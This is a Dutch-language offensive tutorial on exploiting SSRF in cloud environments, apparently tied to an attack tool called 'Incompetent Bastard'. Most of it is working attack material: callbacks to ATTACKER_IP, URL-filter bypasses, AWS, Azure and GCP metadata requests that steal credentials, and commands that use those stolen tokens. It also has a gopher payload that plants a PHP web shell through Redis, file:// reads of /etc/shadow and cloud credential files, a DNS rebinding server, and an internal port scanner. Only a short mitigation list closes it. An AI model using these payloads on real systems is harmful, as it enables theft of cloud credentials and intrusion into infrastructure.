SSRF en Cloud Metadata Exploitatie
Server-Side Request Forgery (SSRF) is een kwetsbaarheid waarbij een aanvaller de server ertoe brengt HTTP-requests te doen naar willekeurige bestemmingen. In cloudomgevingen is SSRF bijzonder gevaarlijk omdat het toegang geeft tot interne metadata-services die credentials, configuratie en gevoelige informatie bevatten. In deze tutorial behandelen we SSRF-detectie, protocol smuggling, DNS rebinding en het extraheren van cloud credentials via AWS, Azure en GCP metadata-endpoints.
Dit is een gevorderde tutorial. Kennis van webapplicatiebeveiliging, HTTP-protocollen en cloudarchitectuur wordt verondersteld. Gebruik deze technieken uitsluitend in geautoriseerde testomgevingen.
Vereisten
- Een draaiende Incompetent Bastard instance (voor redirect-endpoints en logging)
- Toegang tot een kwetsbare webapplicatie met SSRF-potentieel
- Basiskennis van HTTP, DNS en cloudinfrastructuur (AWS/Azure/GCP)
- Tools:
curl,Burp Suite, Python 3, een eigen DNS-server (optioneel) - Kennis van IAM-rollen en cloud metadata-services
IB – Open het SSRF dashboard via
http://127.0.0.1:5000/dashboard/ssrf om alle SSRF-requests
en callbacks te monitoren. IB biedt kant-en-klare redirect-endpoints
voor alle grote cloudproviders.
Stap 1: SSRF Detectie
Typische kwetsbare functionaliteit
Zoek naar functionaliteit waar de server een URL ophaalt:
- Webhook-configuraties en URL-previews
- PDF-generators die externe resources laden
- Import-functies (URL importeren, RSS feeds)
- Profielfoto uploaden via URL
- Proxy- of redirect-endpoints
Basis SSRF-test
Test of de server requests doet naar een door jou gecontroleerd adres:
# Start een listener op je aanvalsmachine
nc -nlvp 8888
# Of gebruik een service als Burp Collaborator / interactshVul in de kwetsbare parameter het adres van je listener in:
http://doelwit.lab/fetch?url=http://ATTACKER_IP:8888/ssrf-test
Als je een inkomend request ontvangt, is de parameter kwetsbaar voor SSRF.
Blind SSRF detectie
Bij blind SSRF zie je geen respons. Gebruik een callback-endpoint:
http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/callback?data=SSRF_CONFIRMED
IB – Het IB callback-endpoint
/ssrf/callback slaat alle ontvangen data op in
raw/loot/{ip}/ssrf/ en logt het in de database. Gebruik dit
als out-of-band verificatie.
Omzeilen van URL-validatie
Veelgebruikte bypasses wanneer de applicatie URL’s filtert:
# IP-notatie varianten
http://127.0.0.1
http://2130706433 # decimaal
http://0x7f000001 # hexadecimaal
http://0177.0.0.1 # octaal
http://127.1 # verkort
http://0 # verwijst naar localhost
# IPv6
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
# DNS rebinding (eigen domein dat naar 127.0.0.1 resolvet)
http://localtest.me
http://spoofed.burpcollaborator.net
# URL-parsing inconsistenties
http://evil.com@127.0.0.1
http://127.0.0.1#@evil.com
http://127.0.0.1%2523@evil.com
Stap 2: AWS Metadata Exploitatie
AWS EC2-instances hebben een metadata-service beschikbaar op
169.254.169.254. Dit is het primaire doelwit bij SSRF in
AWS.
IMDSv1 (geen authenticatie vereist)
# Basisinformatie ophalen
http://169.254.169.254/latest/meta-data/
# Instance identiteit
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
# IAM-rolnaam ophalen
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IAM credentials ophalen (vervang ROLNAAM)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLNAAMDe IAM credentials bevatten: - AccessKeyId -
SecretAccessKey - Token (tijdelijk
sessietoken)
Credentials gebruiken
# Configureer AWS CLI met gestolen credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Test de credentials
aws sts get-caller-identity
# Enumerate rechten
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d'/' -f2)IMDSv2 (token-gebaseerd)
AWS IMDSv2 vereist een PUT-request om een token te verkrijgen. Dit is moeilijker maar niet onmogelijk te exploiteren:
# Stap 1: Token ophalen (vereist PUT met TTL header)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Stap 2: Metadata ophalen met token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/Bij SSRF is IMDSv2 moeilijker te exploiteren omdat de meeste SSRF-kwetsbaarheden geen custom HTTP-methoden (PUT) of headers ondersteunen. Controleer of de applicatie redirect volgt – een redirect naar een IMDSv1-URL kan alsnog werken.
User-data (startup scripts)
# User-data kan credentials of configuratie bevatten
http://169.254.169.254/latest/user-dataIB – Gebruik het IB redirect-endpoint voor AWS:
http://ATTACKER_IP:5000/ssrf/aws. Dit redirect (307) naar
http://169.254.169.254/latest/meta-data/iam/security-credentials
en logt het request automatisch.
Stap 3: Azure Metadata Exploitatie
Azure instances gebruiken hetzelfde IP-adres
(169.254.169.254) maar vereisen een specifieke header.
Instance Metadata Service (IMDS)
# Azure vereist de Metadata header
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Managed Identity token ophalen
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"SSRF-uitdaging: Header-vereiste
De Metadata: true header maakt directe SSRF lastiger.
Mogelijke bypasses:
# Via CRLF-injectie (als de applicatie kwetsbaar is)
http://doelwit.lab/fetch?url=http://169.254.169.254/metadata/instance%0d%0aMetadata:%20true%0d%0a?api-version=2021-02-01
# Via een redirect die de header behoudt (zeldzaam)
# Sommige HTTP-clients sturen headers mee bij redirectsAzure token gebruiken
# Token uit de respons gebruiken
TOKEN="eyJ0..."
# Azure resources opsommen
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
# Key Vault secrets ophalen
curl -H "Authorization: Bearer $TOKEN" \
"https://VAULT_NAME.vault.azure.net/secrets?api-version=7.3"Stap 4: GCP Metadata Exploitatie
Google Cloud Platform gebruikt een ander metadata-endpoint.
Metadata ophalen
# GCP metadata (v1beta1 vereist geen header)
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
# Moderne versie (vereist header)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/?recursive=true"
# Service account token
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Project informatie
http://metadata.google.internal/computeMetadata/v1beta1/project/project-idGCP token gebruiken
# Authenticeer met het verkregen token
TOKEN="ya29..."
# GCP API aanroepen
curl -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones"
# Storage buckets opsommen
curl -H "Authorization: Bearer $TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"IB – Gebruik
http://ATTACKER_IP:5000/ssrf/google voor GCP metadata. IB
biedt ook endpoints voor Oracle Cloud (/ssrf/oracle),
DigitalOcean (/ssrf/digitalocean) en Kubernetes
(/ssrf/kubernetes).
Stap 5: Protocol Smuggling
Sommige SSRF-kwetsbaarheden ondersteunen andere protocollen dan HTTP.
Gopher protocol
Gopher kan willekeurige TCP-data versturen. Dit is krachtig voor het aanspreken van interne services:
# Redis commando's via gopher
gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE%0AQUIT
# SMTP via gopher (e-mail versturen)
gopher://127.0.0.1:25/_HELO%20evil.com%0AMAIL%20FROM%3A%3Cattacker%40evil.com%3E%0ARCPT%20TO%3A%3Cvictim%40doelwit.lab%3E%0ADATA%0ASubject%3A%20Test%0A%0ABody%0A.%0AQUIT
# MySQL via gopher (als er geen wachtwoord is)
# Gebruik gopherus tool om gopher payloads te genererenDict protocol
# Service-informatie ophalen
dict://127.0.0.1:6379/INFOFile protocol
# Lokale bestanden lezen
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline
file:///home/user/.aws/credentialsIB – Het redirect-endpoint /ssrf/passwd
redirect naar file:////etc/passwd en
/ssrf/winini naar file:///c:/windows/win.ini.
Gebruik het custom endpoint
/ssrf/redirect?url=file:///etc/shadow voor willekeurige
bestanden.
Stap 6: DNS Rebinding
DNS rebinding omzeilt IP-gebaseerde SSRF-filters door de DNS-resolutie te manipuleren.
Hoe het werkt
- De applicatie valideert de URL en resolved het domein naar een extern IP (check OK)
- De applicatie maakt een request naar het domein
- Bij de tweede DNS-lookup resolved het domein naar
169.254.169.254of127.0.0.1 - Het request gaat naar het interne adres
Implementatie
# Gebruik een DNS rebinding service
# rbndr.us laat je twee IP-adressen configureren die afwisselend teruggegeven worden
# Voorbeeld URL:
# http://7f000001.EXTERN_IP.rbndr.us/latest/meta-data/
# 7f000001 = 127.0.0.1 in hexEigen DNS rebinding server
#!/usr/bin/env python3
"""Minimale DNS rebinding server."""
from dnslib.server import DNSServer, DNSHandler, BaseResolver
from dnslib import RR, A, QTYPE
import threading
import time
class RebindResolver(BaseResolver):
def __init__(self, extern_ip, intern_ip):
self.extern_ip = extern_ip
self.intern_ip = intern_ip
self.flip = {}
def resolve(self, request, handler):
qname = str(request.q.qname)
reply = request.reply()
if qname not in self.flip:
self.flip[qname] = True
if self.flip[qname]:
reply.add_answer(RR(qname, QTYPE.A, rdata=A(self.extern_ip), ttl=0))
else:
reply.add_answer(RR(qname, QTYPE.A, rdata=A(self.intern_ip), ttl=0))
self.flip[qname] = not self.flip[qname]
return reply
resolver = RebindResolver("EXTERN_IP", "169.254.169.254")
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start_thread()
print("[+] DNS rebinding server draait op poort 53")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
server.stop()Stap 7: Pivoteren naar Interne Services
SSRF geeft niet alleen toegang tot metadata. Je kunt het ook gebruiken om interne services aan te spreken.
Interne poortscanning
#!/usr/bin/env python3
"""Interne poortscanning via SSRF."""
import requests
import sys
doel_url = "http://doelwit.lab/fetch?url="
intern_host = "192.168.1.1"
poorten = [22, 80, 443, 445, 3306, 5432, 6379, 8080, 8443, 9200]
for poort in poorten:
try:
url = f"{doel_url}http://{intern_host}:{poort}/"
r = requests.get(url, timeout=5)
if r.status_code != 500 and len(r.text) > 0:
print(f"[+] Poort {poort} is open op {intern_host}")
print(f" Response lengte: {len(r.text)}")
except requests.exceptions.Timeout:
print(f"[-] Poort {poort} timeout (mogelijk gefilterd)")
except Exception as e:
print(f"[-] Poort {poort} fout: {e}")Interne webapplicaties benaderen
# Kubernetes API
http://doelwit.lab/fetch?url=https://kubernetes.default.svc/api/v1/namespaces
# Docker daemon
http://doelwit.lab/fetch?url=http://127.0.0.1:2375/v1.24/containers/json
# Elasticsearch
http://doelwit.lab/fetch?url=http://192.168.1.50:9200/_cat/indices
# Redis (als HTTP-parsing niet strict is)
http://doelwit.lab/fetch?url=http://192.168.1.50:6379/INFO
# Consul
http://doelwit.lab/fetch?url=http://127.0.0.1:8500/v1/kv/?recurseIB – Gebruik /ssrf/docker om naar de
Docker daemon API te redirecten en /ssrf/kubernetes voor
Kubernetes metadata. Het custom endpoint
/ssrf/redirect?url=http://INTERN_IP:POORT/ werkt voor elke
interne bestemming.
Stap 8: Automatiseren met IB
Alle cloud metadata endpoints testen
# AWS
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/aws"
# Azure
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/azure"
# GCP
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/google"
# OpenStack
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/openstack"
# DigitalOcean
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/digitalocean"
# Oracle Cloud
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/oracle"Callback voor blind SSRF
# Controleer of SSRF werkt via het callback-endpoint
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/callback?data=ssrf_bevestigd"
# Bekijk resultaten in het dashboard
curl http://127.0.0.1:5000/api/ssrf/dataCustom redirect keten
# Gebruik het custom redirect-endpoint voor specifieke doelen
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/redirect?url=http://169.254.169.254/latest/user-data"Mitigatie en Detectie
Hoewel dit een offensieve tutorial is, is het nuttig om mitigatiemaatregelen te kennen voor je rapportage:
- IMDSv2 forceren – Blokkeer IMDSv1 op AWS instances
- URL-validatie – Whitelist van toegestane domeinen en protocollen
- Netwerksegmentatie – Blokkeer verkeer van webservers naar metadata-endpoints
- Egress filtering – Beperk uitgaand verkeer van de applicatieserver
- DNS pinning – Voorkom DNS rebinding door het IP te cachen na validatie
Samenvatting
In deze tutorial heb je geleerd hoe je SSRF-kwetsbaarheden vindt en exploiteert in cloudomgevingen:
- SSRF detectie – Identificeer parameters die server-side requests triggeren en test met callbacks.
- Cloud metadata – Extraheer IAM credentials van AWS, Azure managed identity tokens en GCP service account tokens.
- Protocol smuggling – Gebruik gopher, dict en file protocollen om interne services aan te spreken.
- DNS rebinding – Omzeil IP-gebaseerde filters met DNS-manipulatie.
- Interne verkenning – Scan interne netwerken en benader services als Docker, Kubernetes en databases.
- IB integratie – Gebruik de kant-en-klare redirect-endpoints en het callback-systeem voor efficiënte exploitatie.
SSRF in cloudomgevingen kan leiden tot volledige compromittering van de cloud-infrastructuur. Documenteer je bevindingen grondig en benadruk in je rapport de potentiele impact van gelekte credentials.